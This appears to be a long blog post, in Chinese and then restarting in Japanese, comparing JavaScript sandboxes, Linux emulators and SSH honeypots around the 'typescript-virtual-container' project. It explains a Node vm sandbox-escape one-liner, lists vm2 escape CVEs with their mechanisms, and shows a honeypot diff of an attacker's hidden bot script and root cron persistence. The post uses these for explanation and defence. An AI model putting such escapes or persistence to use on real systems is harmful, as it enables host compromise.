在 "fs" 持久化模式下,它维护一个预写日志(WAL)用于崩溃恢复----写入先进入日志,然后在刷新时写入快照。如果 Node 在操作中途崩溃,日志可以让你重建最后一个完整状态。

还有一个 FileCache 层用于模拟磁盘 I/O 延迟。你可以配置像 NVME_DISK_IO 或 HDD_DISK_IO 之类的配置文件,VFS 会人为延迟文件操作以匹配真实的时间。这有点搞笑----软件故意放慢速度来模拟硬件----但实际非常有用,特别是做基准测试时。

Shell 解释器

Shell 解析器生成一个类型化的 AST:

// "ls /etc | grep root && echo done" 解析为:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

执行器遍历这个 AST:

  • 对于管道,创建 { stdin, stdout, stderr } 流链,用管道 I/O 执行每个命令
  • 对于逻辑运算符(&&、||),在运行右侧之前检查 $?
  • 对于子 Shell($(...)、` `),分叉执行上下文
  • 对于重定向(>file、>>file、2>&1、<file),在执行前设置流接线
  • 对于后台作业(cmd &),不等完成就运行
  • 对于变量,展开 $VAR、${VAR:-default}、${#VAR} 和算术 $((expr))
  • 对于大括号展开({a,b,c}、{1..5}),在执行前生成完整的展开列表

所有这些都是真正的 POSIX Shell 行为。解析器处理 heredocs、进程替换、通配符(*、?、[abc])和引号处理(单引号、带插值的双引号、反斜杠转义)。它不是完美的----边缘情况肯定存在----但远超你对一个 TypeScript 项目的预期。

约 170 个内置命令

命令是在命令注册表中注册的 TypeScript 函数。它们接收一个 CommandContext,包含 stdin/stdout/stderr 流、VFS、用户会话、Shell 环境以及访问子模块的权限。

写 170 个 Unix 命令实现……工程量很大。有些是微不足道的(echo、true、false),有些则复杂得令人惊讶(awk、find、tar)。比如,完整的 POSIX awk?用 TypeScript?说实话这太疯狂了。以下是里面的一些例子:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp(客户端,向外连接),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git(存根), python3(存根), node(存根),
nano(完整交互式编辑器), vim(基础), vi(基础),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron(模拟版), systemctl(存根), journalctl(存根),
……以及大约 130 多个

"存根"(git、python3、node)对常见调用做出逼真响应----python3 --version 返回可信的版本字符串、git status 显示伪造的仓库状态----但不做真正的工作。对于蜜罐来说,这些实际上比真实的东西更有用,因为它们让你可以观察攻击者试图运行什么,而无需真正执行任何有害的操作。

SSH 服务器

SSH 层使用真正的 ssh2 npm 包----真实的 SSH 协议、真正的密钥交换、真正的加密。SSHMimic 封装了它:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// 真实的 SSH:ssh -p 2222 root@localhost
// 真实的 SFTP:sftp -P 2222 root@localhost
// 真实的 SCP:scp -P 2222 file root@localhost:/tmp/

shellProperties 决定了 uname -a、lsb_release -a、neofetch、/proc/version 和 /etc/os-release 报告的内容。你可以令人信服地冒充任何 Linux 发行版和内核版本----对真正的 SSH 客户端来说,实际上无法区分。

HoneyPot 模块

因为 Shell 解释器是真实的、SSH 服务器也是真实的,攻击者的命令实际上在虚拟环境中执行。攻击者触发的 wget 请求会记录目标 URL。攻击者创建的文件会保存在 VFS 中。攻击者提权尝试会产生逼真的错误。

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// 会话结束后,比较文件系统的差异
const before = shell.vfs.toSnapshot();
// ... 攻击者会话 ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

这与 Cowrie 有本质区别。Cowrie 的伪文件系统可以响应 ls,但无法真正跟踪攻击者创建了哪些文件以及他们做了什么修改并以结构化差异的形式呈现。typescript-virtual-container 可以,因为 VFS 是一个实时的数据结构----每次写入都被跟踪。攻击者刚刚添加的那个 cron 条目?在差异里。那个 .hidden 文件夹?在差异里。对恶意软件分析来说非常有用。

虚拟网络栈

这可能是整个项目中最令人印象深刻的部分,在这方面的领域内没有任何其他项目可以比拟。一个完整的 L2/L3 虚拟网络栈,带 VPN 支持,纯 TypeScript 编写,无需真实网卡参与。这真的非常疯狂。

VirtualNetworkManager 为每个 VirtualShell 实例提供虚拟网络接口,配有可配置的 IP 地址、路由表和一个软件防火墙(带 conntrack 和 NAT 的 iptables 风格规则)。ip addr、ip route、iptables -L、netstat -rn 都显示虚拟网络状态。

VirtualSwitch(名为 Baie----来自法语词汇"服务器机柜","baie informatique")将多个 Shell 连接到一个共享子网上。它实现了:

  • MAC 学习和 ARP
  • 子网间的 IP 路由
  • NAT(出站地址伪装)
  • DNS(每个子网可配置的记录)
  • 负载均衡(轮询、最少连接)
  • 流量整形:延迟、抖动(高斯分布)、丢包、突发丢包、乱序、重复
  • 带宽限制(令牌桶)
  • MTU 强制
  • 连接跟踪(有状态的,包含 NEW/ESTABLISHED/TIME_WAIT 状态)
const baie = new Baie("192.168.0.0/24");

// 同一交换机上的三台虚拟机
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// 防火墙:web 可以访问 api,api 可以访问 db,web 不能直接访问 db
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// 流量整形:模拟到外部的不可靠 WAN 链路
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn 在 Baie 实例之间创建加密隧道----你可以模拟一个通过 VPN 互联的多站点网络。

VirtualProxy 实现端口转发和 SOCKS5 代理。

这些都不涉及真实的网卡。全是 TypeScript 对象路由。ping 命令通过虚拟交换机路由并返回模拟的 ICMP 回复来"工作"。curl http://192.168.0.3/api 通过虚拟网络路由,命中 api Shell 的模拟 HTTP 响应,并返回内容。这是从里到外一层套一层的抽象,而且是最棒的那种。

SandboxedShell

对于需要更强隔离的程序化使用场景,SandboxedShell 在 Node.js Worker 线程中运行 Shell 会话:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 一个核心的 25%
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

这里的隔离由 VFS 层(Worker 线程的 Shell 只能看到虚拟文件系统,永远看不到宿主文件系统)加上 Node.js Worker 线程内存隔离来保证。这比 isolated-vm 更轻量,但对于 Shell 级别的隔离(而非 JS 级别的隔离)来说更合适。

资源限制

你可以为每个 Shell 配置资源上限,影响系统监控命令的报告结果:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

在该 Shell 中,free -m 显示 512 MB 总 RAM。nproc 返回 2。/proc/meminfo 显示限制后的值。htop 和 top 显示限制后的 CPU 数量。这让你可以精确设定虚拟机的硬件配置信息。

三种部署模式

模式 1:SSH/SFTP 服务器
  VirtualSshServer / VirtualSftpServer
  → 真实的 SSH 协议、真实的 SFTP、真实的 SCP
  → 用例:蜜罐、远程测试环境、培训实验室

模式 2:Web Shell(浏览器)
  builds/fortune-nyx-v1.7.8-web.min.js(ESM 包)
  → 在浏览器中运行,VFS 持久化到 IndexedDB
  → 用例:交互式教程、嵌入式终端、演示
  → 额外功能:运行 startxfce4 获得完整的模拟 XFCE 桌面

模式 3:独立 CLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs(单文件,无需安装)
  → curl 后直接运行,VFS 持久化到 .vfs/ 目录
  → 用例:快速演示、本地实验

填充库----浏览器构建如何在无需 Wasm 的情况下工作

好吧,这部分是我觉得真正巧妙的地方,我想特别提一下。

让 Node.js 库在浏览器中运行通常是一场噩梦。要么用 Wasm 运行时(沉重、加载慢),要么花几周手动替换每个 node:* 导入为浏览器兼容的替代品。Fortune 选择了第二种方案----但非常干净利落,通过编写一组位于仓库 polyfills/ 目录中的自定义填充库。

构建流水线就是带有大量 alias 条目的 esbuild:

// demo/build.js ---- 整个浏览器构建配置
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

没有 Wasm。没有外部填充库。没有 webpack-node-externals 这种乱七八糟的东西。只是别名模块和几个注入的全局变量。让我逐一介绍,因为其中一些真的很令人印象深刻。

node:fs ---- 作为伪文件系统的 IndexedDB

这是我的最爱。node:fs 填充实现了同步的 Node.js fs API(readFileSync、writeFileSync、existsSync、readdirSync、mkdirSync、unlinkSync、statSync……),由两层支持:用于同步读取的内存中 Map,和用于页面刷新后持久化的 IndexedDB。写入会立即命中 Map(所以 writeFileSync 之后马上 readFileSync 总能工作),然后异步刷入 IndexedDB。

// 同步缓存(路径 → Uint8Array | null)---- 即时读取
const memCache = new Map();

// 启动时从 IndexedDB 预加载所有内容到 memCache
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

这就是为什么 VFS 快照能在浏览器中跨越页面刷新而存活----整个 .vfsb 二进制文件通过这个填充写入 IndexedDB,下次加载时读回。没有 Wasm。没有服务器。只是 IndexedDB,从 2011 年左右开始每个浏览器就都有了。

node:crypto ---- 纯 JS 的 SHA-256

crypto 填充没有引入 Wasm 加密库,而是使用 FIPS 180-4 轮常数从头实现了 SHA-256。166 行纯 JS,支持完整的十六进制/base64/Uint8Array 输出。库中的所有哈希操作都通过它----SSH 主机密钥指纹、内部校验和、一切。紧凑、零依赖、开箱即用。

node:os ---- 读取浏览器的实际硬件

这个设计很巧妙。node:os 不是返回硬编码的占位值,而是读取 navigator.deviceMemory 获取总 RAM、navigator.hardwareConcurrency 获取 CPU 数量。所以浏览器构建中的 neofetch 报告的实际是你真实机器的信息----而不是编造的"2 核、2GB RAM"存根。

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB 回退
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // 还解析 navigator.userAgent 来猜测 CPU 型号字符串
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net、ssh2、roxify ---- 诚实的存根

浏览器无法打开 TCP 套接字或运行真实的 SSH,所以这些是存根,当有人尝试使用它们时会抛出一个带有清晰信息的 NotImplemented 错误。没有静默失败、没有在期望对象的地方返回 undefined。只是响亮而清晰的"这在浏览器中不工作"----这正是你想要的。

process.js 和 buffer.js ---- 注入的全局变量

这两个通过 esbuild 的 inject 选项注入到每个打包文件的顶部,所以 process 和 Buffer 无需显式导入就在全局可用。process.js 很小:env、version、platform: 'browser'、通过 queueMicrotask 实现的 nextTick、通过 performance.now() 实现的 uptime。buffer.js 是在 Uint8Array 之上的完整 Buffer 重新实现----所有 SSH 实现和 VFS 依赖的 readUInt32BE、writeInt16LE、十六进制/base64 编码方法。


整套填充库总共大约 640 行手写 JS。没有 npm 包。没有 Wasm。结果是浏览器包就是库本身,原生运行,没有通常 Node 优先库那种"但它真的能在浏览器中工作吗?"的焦虑。如果你好奇的话,值得看看仓库中的 polyfills/ 文件夹----每个文件都很好地封装且独立可读,这是一种我非常欣赏的风格选择。

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
类别 JS 沙箱 JS 沙箱 JS 沙箱 仿真器 仿真器 Node.js/Wasm 蜜罐 模拟器
隔离 JS ⚠️ 作用域 ✅ V8 Isolate ✅ Wasm 不适用 不适用 部分 不适用 ✅ Worker
真实 Linux 内核 ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Shell 解释器 ❌ ❌ ❌ ✅(真实) ✅(真实) ✅(真实) 部分 ✅(自定义)
约 170 个 Unix 命令 ❌ ❌ ❌ ✅ ✅ 部分 ~20 ✅
POSIX 权限 ❌ ❌ ❌ ✅ ✅ ✅ 部分 ✅ 强制执行
用户管理 ❌ ❌ ❌ ✅ ✅ ❌ 最小化 ✅ 完整
真实 SSH 服务器 ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
蜜罐/审计 ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
VFS 差异/快照 ❌ ❌ ❌ 有限 ❌ ❌ ❌ ✅
虚拟网络 L2/L3 ❌ ❌ ❌ 基础 ❌ ❌ ❌ ✅ 完整
虚拟 VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
浏览器支持 ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js 原生 ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
类型化 API 基础 ✅ ✅ 最小化 ❌ ✅ ❌ ✅ 完整
二进制兼容性 不适用 不适用 不适用 ✅ ✅ 部分 不适用 ❌
启动时间 即时 即时 即时 15–40 秒 15–40 秒 2–5 秒 即时 <1 秒
每实例 RAM ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
运行时依赖 0 1(原生) 1(Wasm) 0 专有 1 Python 依赖 3(ssh2, ws, fflate)
状态 稳定 ✅ 活跃 ✅ 活跃 ✅ 非常活跃 商业产品 ✅ 活跃 ✅ 活跃 ✅ 活跃

什么情况该用什么

你需要运行不可信的 JavaScript----用户提交的公式、插件、脚本钩子。 → isolated-vm。真正的 V8 Isolate、硬内存限制、显式通信桥梁。避免使用 vm2----CVE 列表一直在增加,说真的,每几个月就有一个新的。避免使用 vm----它根本不是沙箱,求你了。

你需要沙箱 JS 且不想要原生插件,或需要浏览器兼容性。 → quickjs-emscripten。Wasm 边界,约 500 KB 模块,在浏览器和 Node 中都能工作。比 V8 慢,但真正隔离。

你需要启动一个真正、未经修改的、具有二进制兼容性的 Linux 操作系统。 → 32 位 Linux 用 v86,如果你有现有的 Docker 镜像用 container2wasm。接受 150 MB+ RAM 和 30 秒启动时间,这就是代价。如果你需要 64 位,看看 CheerpX 或者直接使用真正的容器运行时。

你需要在不使用后端的情况下在 Web 应用中嵌入类似 Linux 的终端。 → v86(完整操作系统,沉重,启动慢)或 typescript-virtual-container 的浏览器包(模拟器,更轻量,即时启动,包含 startxfce4 的完整桌面,说实话挺酷的)。

你需要交互式在线编程教程或浏览器 IDE。 → 如果你专注于 Node.js 生态系统,用 WebContainers。如果你需要真实的 Linux 用户态,用 CheerpX。如果你想要更轻的选项加类型化 API,用 typescript-virtual-container 的浏览器包。

你想大规模收集 SSH 攻击者的 TTP。 → Cowrie 是生产标准,没有之一。在任何 Linux 服务器上运行,与所有 SIEM 集成,现在还有 LLM 模式。就用 Cowrie。

你想要在 Node.js 应用程序中通过可编程 API 获取 SSH 蜜罐数据。 → typescript-virtual-container。命令实际执行。VFS 是你可以快照和比较差异的真实数据结构。攻击者获得逼真的交互式环境,而你无需离开 Node 就能获得结构化的审计数据。

你需要在 CI 中进行 Shell 自动化/测试,但不使用 Docker。 → typescript-virtual-container。在不到一秒内启动,测试前快照,测试后恢复。通过类型化 API 运行 Shell 命令。不需要 Docker 守护进程、不需要内核、不需要虚拟机、不需要等待。

你需要多租户 Shell 环境(SaaS、教育、培训)。 → typescript-virtual-container。每个实例 5–20 MB,而仿真器需要 150–256 MB。100 个并发用户:约 2 GB vs. 约 25 GB。托管成本差异巨大!

你需要一个也能让你构建多 VM 网络实验室的逼真蜜罐。 → typescript-virtual-container 是这个领域中唯一同时做到这两者的方案。


它不能做什么(我想诚实地说清楚)

它不能运行原生 x86 二进制文件。如果你需要编译 C 代码、运行真正的 Python 解释器、或使用为 Linux 编译的软件,没有内核 ABI 来支持这些系统调用。像 gcc、python3 和 node 这样的命令是存根----它们响应 --version 和常见调用,但不执行任何真实的工作。

这是根本性的权衡:你获得了 10–50 倍更低的内存消耗、即时启动、浏览器兼容性、类型化 API、真实 SSH 和虚拟网络----而你放弃了与 Linux 用户态的二进制兼容性。

Fortune 在设计项目时对此考虑了很多。对于她所针对的用例----蜜罐、测试、嵌入式终端、CI 环境----运行编译后的二进制文件实际上从来不是必须的。Shell 管道、文件操作、网络路由和 SSH 涵盖了所有需求。但如果你的用例需要真实的编译软件,v86 或 Docker 才是正确的答案,而不是这个。


总结

所以,是的。这个生态系统从外部看比实际更广泛和分散。vm 是作用域分隔符,不是沙箱。vm2 不断积累 CVE(说真的,去看看这个月的安全公告)。isolated-vm 是正确的 JS 沙箱方案,但仅限于 JS。当你需要浏览器兼容性或想避免原生插件时,quickjs-emscripten 是正确的选择。当你需要真正的二进制兼容性时,v86 和 CheerpX 是真正的仿真器。WebContainers 是 Wasm 中的 Node.js,不是通用的 Linux 环境。Cowrie 是 SSH 蜜罐的金标准,但它是 Python 而非 Node 原生。

然后还有 typescript-virtual-container----Fortune 的项目----它有点自成一类。不是仿真器、不是 JS 沙箱、不是被动蜜罐。它是所有这些的某种中间体,结果对许多其他东西都无法做到的事情出奇地有用。

typescript-virtual-container 填补了其他方案都无法触及的空白:一个完整的、可编程的 Linux Shell 环境,带有真实 SSH、SFTP、POSIX 权限、用户管理、虚拟网络和类型化的 TypeScript API----运行在约 10 MB 内存中、不到一秒启动、同时在 Node.js 和浏览器中工作。

如果你想去试试:源码在 github.com/itsrealfortune/typescript-virtual-container,还有一个在线演示(包括 startxfce4 的完整桌面,真的超酷)在 itsrealfortune.fr/typescript-virtual-container/demo。去看看吧,给 Fortune 在 GitHub 上点点星,她值得!

感谢阅读----即使按我的标准这也是一篇超长的文章 :) 希望它有用!


来源

我尽量将每个声明链接到主要来源----CVE 公告、官方文档、GitHub 仓库、维护者的博客文章。几点说明:vm2 CVE 列表在不断增加,所以你读到的时候 FortiGuard 链接可能已经过时(请查看 GitHub 公告页面获取最新信息)。Bellard 的链接都稳定----他的个人网站一直在线,内容不会更改。如果你想深入了解任何填充库,直接浏览 typescript-virtual-container 仓库中的 polyfills/ 文件夹----它比我在这里能写的任何描述都更易读。

JavaScript 沙箱

Linux 仿真器

终端栈

蜜罐

typescript-virtual-container

背景阅读

JavaScriptによるLinuxカーネルシミュレーションソリューションの比較

JavaScript/TypeScriptによるLinux環境再現の詳細分析。

あらゆるJavaScriptサンドボックス、エミュレーター、シミュレーター、ハニーポット----比較

このウサギの穴にはもうずっと深くハマりすぎてたんだ。きっかけはtypescript-virtual-containerを手伝ってたこと----Fortune(彼女については後で詳しく)のプロジェクトだ----で、「ちょっと待って、これってv86とどう違うの?」とか「なんでvm2じゃないの?」って何度も聞かれるようになって、まずエコシステム全体をマッピングしないとクリーンな答えが出せないって気づいたんだ。ってわけで、こんな感じになったよ lol。

で、4つの明確なファミリーがあることがわかった----JSサンドボックス、Linuxエミュレーター、Linuxシミュレーター、ハニーポット----で、同じ文脈でよく一緒に言及されるけど、ほとんど重なることはないんだ。プラグインシステムを作る人はisolated-vmを手に取る。CLIツールをデモする人はv86を手に取る。SSHの脅威インテルをやる人はCowrieを手に取る。全部「コードを箱の中で実行する」っていう曖昧な傘の下で、まったく別の問題を解決してるんだよね。

ソースコード、CVEレポート、アーキテクチャ文書、npmページを読むのにすごく時間をかけた。これは長くなるぞ----コーヒーを用意しろよ。まじで。2杯な。

簡単な免責:この記事ではtypescript-virtual-containerが多く取り上げられている。なぜならこの調査の発端になったからだ。他のものについては公平に書くように努めたけど、そのコンテキストを頭に入れておいてほしい。


パート0 -- そもそも、どの問題を解決したいのか?

深掘りする前に、各ファミリーが何のためのものかを正確に明確にしておく価値がある。なぜなら用語がすぐにいい加減になって、人々が常に混同しているからだ(俺自身も、ちゃんとマッピングするまではそうだった)。

JSサンドボックスは、JavaScriptコードをホストのNode.jsプロセスから分離する。脅威モデルは:信頼できないJSコードがprocess.exit()を呼んだり、ファイルを読んだり、子プロセスを生成したりする可能性があること。解決策はV8実行の境界だ。これらのツールはLinuxシェルやパーミッション付きファイルシステム、SSHといった概念を持たない。

Linuxエミュレーターは、JavaScriptまたはWebAssemblyで実装されたCPUエミュレーター(x86、RISC-V、OR1K)の中で、実際の未改変のLinuxカーネルを実行する。本物のOSが起動する。本物のシステムコールが得られる。x86コンパイル済みプログラムとのバイナリ互換性が得られる。オーバーヘッドは莫大だ。

Linuxシミュレーターは、実際のカーネルを実行せずにLinuxシステムの振る舞いを模倣する。シェルインタプリタ、仮想ファイルシステム、そしてプログラムや人間を騙すのに十分なUnixセマンティクスを実装する。カーネルなし。Wasmなし。CPUエミュレーションなし。はるかに低いオーバーヘッド。

ハニーポットは、攻撃者を引き寄せてその行動を記録するために作られている。主に実行環境ではなく、観測ツールだ。実際のLinux動作への忠実度は、攻撃者に罠を検知されない程度に保てれば十分だ。

という枠組みで、この記事の全プロジェクトがどこに位置づけられるか:

JSサンドボックス:    vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Linuxエミュレーター:  v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Linuxシミュレーター:  typescript-virtual-container (この領域で唯一)
ハニーポット:         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
ターミナルスタック:    xterm.js + node-pty (分離機能ではないが、隣接)

パート1 -- JavaScriptサンドボックス

1.1 vm -- Node.js組み込み(思ってるのとは違う)

Nodeで「信頼できないJSを実行する」一番古い答えは、組み込みのvmモジュールだ。v0.1からあるので、多くの人が最初に手を伸ばす----そして痛い目に遭う。

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

vmが実際にやっていること:新しいV8コンテキスト(新しいビルトインコンストラクター群----Object、Array、Functionなど)を作成し、sandboxに入れたものへの共有参照を持ってコードを実行する。V8エンジンは変わらない。プロセスは変わらない。メモリは共有される。

vmがセキュリティを提供しない理由:JavaScriptのプロトタイプチェーンは、すべてをObject.prototypeに結びつけるDAGだ。ホストレルムから任意のオブジェクトをサンドボックスに入れると、ゲストはそのプロトタイプチェーンを遡ってホストコンストラクターに到達できる。Functionから、Function("return process")() を呼び出して本物のprocessオブジェクトを取り戻せる。ゲームオーバー。即座に。

// これはvmで普通に実行できる----本物のprocessオブジェクトが返る
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

つまり、Node.jsのドキュメント自体が言っている:「vmモジュールはセキュリティ機構ではありません。信頼できないコードの実行に使用しないでください。」この警告はずっと前からある。人々は常に無視している。本番アプリでvmをサンドボックスとして使ってるのを見たことがある。やめてくれ xD

判定: スコープ機構であって、サンドボックスではない。分離された変数スコープ(テンプレートエンジン、コードを制御できるeval的な機能)が必要なときに使え。信頼できない入力には絶対に使うな。

メモリ: 無視できるオーバーヘッド----ホストプロセスと同じV8ヒープ。
セキュリティ: やる気のある攻撃者に対しては無。


1.2 vm2 -- コミュニティの試み、そして非常に長い死

vm2はvmのエスケープ問題に対するコミュニティの答えだった。コアアイデア:サンドボックス境界を越えるすべてのオブジェクトをProxyでラップし、プロパティアクセスをインターセプトし、プロトタイプクライミングをブロックし、危険な参照をフィルタリングする。理論上は賢いアイデア!実際はそうでもなかったけど。

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // VMErrorがスローされ、processにアクセス不可

数年はこれでまあまあ機能していた。しかしJavaScriptのProxyの攻撃表面積は莫大だ。新しいJS言語機能----ジェネレーター、非同期イテレーター、Symbol.toPrimitive、Error.prepareStackTrace、Promise内部スロット----はすべて潜在的なバイパスベクターだ。

CVEのタイムラインは……ちょっとすごい。こんな感じ:

日付 CVE メカニズム
Oct 2022 CVE-2022-36067 Error.prepareStackTraceによるホストコンテキストエスケープ
Apr 2023 CVE-2023-29017 未処理の非同期エラースタックによるホストオブジェクトリーク
Apr 2023 CVE-2023-29199 handleException()による例外サニタイゼーションのバイパス
Apr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
May 2023 CVE-2023-32314 Error.name上のProxy → Function → RCE
Jul 2023 CVE-2023-37466 非同期関数 + スタックオーバーフロー + Proxy.getPrototypeOf
Jul 2023 CVE-2023-37903 Workerスレッド + evalエスケープ

同じ月(2023年4月)に3つの深刻なCVE。3つだ。1ヶ月で。CVE-2023-37903の後、メンテナーは公式にライブラリを非推奨とし、次のメッセージを残した:「このライブラリには重大なセキュリティ問題が含まれており、本番環境で使用すべきではありません。」

メンテナーは2025年10月にバージョン3.10.0で復活させ、当時知られているすべてを修正したと主張した。2026年1月に新たな重大なエスケープ(CVE-2026-22709、CVSS 9.8)が開示され、2026年5月にはさらに11件のCVEが続いた。11件だ。パターンは変わっていないし、正直変わらないと思う。

根本的な問題はアーキテクチャにある----そしてこれがエコシステム全体が学ぶのに時間がかかった教訓だ。サンドボックス化するのと同じ言語で、同じエンジンで、同じプロセスで、安全なサンドボックスを構築することはできない。エスケープ表面はV8実装全体だ----そしてV8は数百万行のC++で、変更され続けている。新しいJS機能が出るたびに、新しい攻撃経路が開く可能性がある。

判定: セキュリティ重視のアプリケーションには使用すべきでない。最新バージョンでも、数ヶ月ごとに新しいバイパスが発見されている。メンテナー自身もこれを公然と認めている。


1.3 isolated-vm -- 実際に機能するやつ

isolated-vmは正しいアプローチを取っている:V8自身の分離プリミティブ、Isolateを使う。各V8 Isolateは独自のヒープ、独自のガベージコレクター、独自のビルトインセットを持ち、他のIsolateとの共有参照はゼロだ。

これはChromeがタブ間で使っているのと同じ境界だ。言語レベルのProxyトリックではなく、本当のセキュリティ境界である。

import ivm from "isolated-vm";

// 各Isolateは独自のV8ヒープ
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB制限
const context = await isolate.createContext();
const jail = context.global;

// 境界を越えるデータには明示的なシリアライズが必要
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // ホストプロセス、ホストヒープ、ホストモジュールには到達できない
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// タイムアウトやメモリ制限で強制終了できる
isolate.dispose(); // ヒープ全体を解放

ReferenceとExternalCopyが明示的な通信ブリッジだ。ReferenceはIsolateにホスト関数への呼び出し可能なハンドルを与える----Isolateは呼び出せるが、そのクロージャやプロトタイプは検査できない。ExternalCopyは値をヒープ境界越えにシリアライズ(構造化クローン)する。この明示的ブリッジモデルは便利じゃないが、それが分離を現実のものにしている。

ハードリソース制限を設定できる:メモリ(上限超過でIsolateは終了される)、ウォールクロックタイムアウト、CPUタイムアウト。終了は本物だ----単なるwhile(true)でバイパスできるJSタイムアウトではなく、V8 Isolate全体を殺す。

制限: JSのみ。内部でbashは実行できない。ファイル、パーミッション、ネットワーク、プロセスの概念はない。ユーザー提出のJS(プラグイン、フォーミュラ、スクリプトフック)にはまさに適切なツールだが、それ以外には間違ったツールだ。typescript-virtual-containerの作者は、初期にこれを検討したが、「シェルコマンドの実行」と「JavaScriptの分離」は根本的に異なる問題だと気づいたそうだ。

メモリ: 空のIsolateあたり~3–10 MB、ヒープ使用量に応じて増加。
セキュリティ: 強力。V8 Isolate境界が本当の分離プリミティブ。
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- Wasmにコンパイルされた別個のJSエンジン

別のアプローチ:V8内で分離する代わりに、完全に別個のJavaScriptエンジンをWebAssemblyにコンパイルして実行する。ホストはV8/Nodeで動作する。ゲストはQuickJS-in-Wasmで動作する。Wasmサンドボックスが分離境界を提供する。

